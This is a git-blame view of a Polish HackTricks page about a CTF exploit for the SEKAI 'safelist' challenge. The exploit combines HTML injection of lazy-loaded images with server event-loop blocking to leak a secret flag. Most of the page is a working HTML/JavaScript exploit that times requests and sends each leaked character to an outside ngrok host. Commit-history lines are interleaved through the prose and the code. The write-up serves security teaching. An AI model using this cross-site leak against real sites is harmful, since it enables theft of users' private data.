Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 15:12:11 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

164 lines
7.3 KiB
Markdown
Raw Normal View History

Translated to Polish
2024-02-11 01:46:25 +00:00
# Blokowanie pętli zdarzeń + leniwe obrazy
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
<details>
Translated to Polish
2024-02-11 01:46:25 +00:00
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Polish
2024-02-11 01:46:25 +00:00
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
Translated to Polish
2024-02-11 01:46:25 +00:00
W [**tym wykorzystaniu**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) łączy technikę **leniwego obrazu jako kanał boczny** poprzez wstrzyknięcie HTML z rodzajem **blokowania pętli zdarzeń**, aby wyciec znaki.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Polish
2024-02-11 01:46:25 +00:00
Jest to **inne wykorzystanie dla wyzwania CTF**, które zostało już skomentowane na następnej stronie. Sprawdź więcej informacji na temat wyzwania:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Translated to Polish
2024-02-11 01:46:25 +00:00
Idea tego wykorzystania jest następująca:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Polish
2024-02-11 01:46:25 +00:00
* Posty są ładowane alfabetycznie.
* **Atakujący** może **wstrzyknąć** post zaczynający się od **"A"**, a następnie pewien **tag HTML** (na przykład duże **`<canvas`**) wypełni większość **ekranu**, a na końcu będą **tagi `<img lazy`** do ładowania rzeczy.
* Jeśli zamiast "A" **atakujący wstrzyknie ten sam post, ale zaczynający się od "z".** Post z **flagą** pojawi się **pierwszy**, a następnie pojawi się **wstrzyknięty** post z początkowym "z" i **dużym** **canvasem**. Ponieważ post z flagą pojawił się jako pierwszy, pierwszy canvas zajmie cały ekran, a wstrzyknięte **tagi `<img lazy`** nie będą widoczne na ekranie, więc nie zostaną załadowane.
* Następnie, **podczas** gdy bot **uzyskuje dostęp** do strony, **atakujący** wyśle **żądania fetch**.&#x20;
* Jeśli **obrazy** wstrzyknięte w post są **ładowane**, te **żądania fetch** potrwają **dłużej**, więc atakujący wie, że **post jest przed flagą** (alfabetycznie).
* Jeśli **żądania fetch** są **szybkie**, oznacza to, że **post** jest **alfabetycznie po** fladze.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Polish
2024-02-11 01:46:25 +00:00
Sprawdźmy kod:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
```html
<!DOCTYPE html>
<html>
<!--
Translated to Polish
2024-02-11 01:46:25 +00:00
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
-->
<body>
Translated to Polish
2024-02-11 01:46:25 +00:00
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</body>
</html>
```
<details>
Translated to Polish
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Polish
2024-02-11 01:46:25 +00:00
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
Reference in a new issue Copy permalink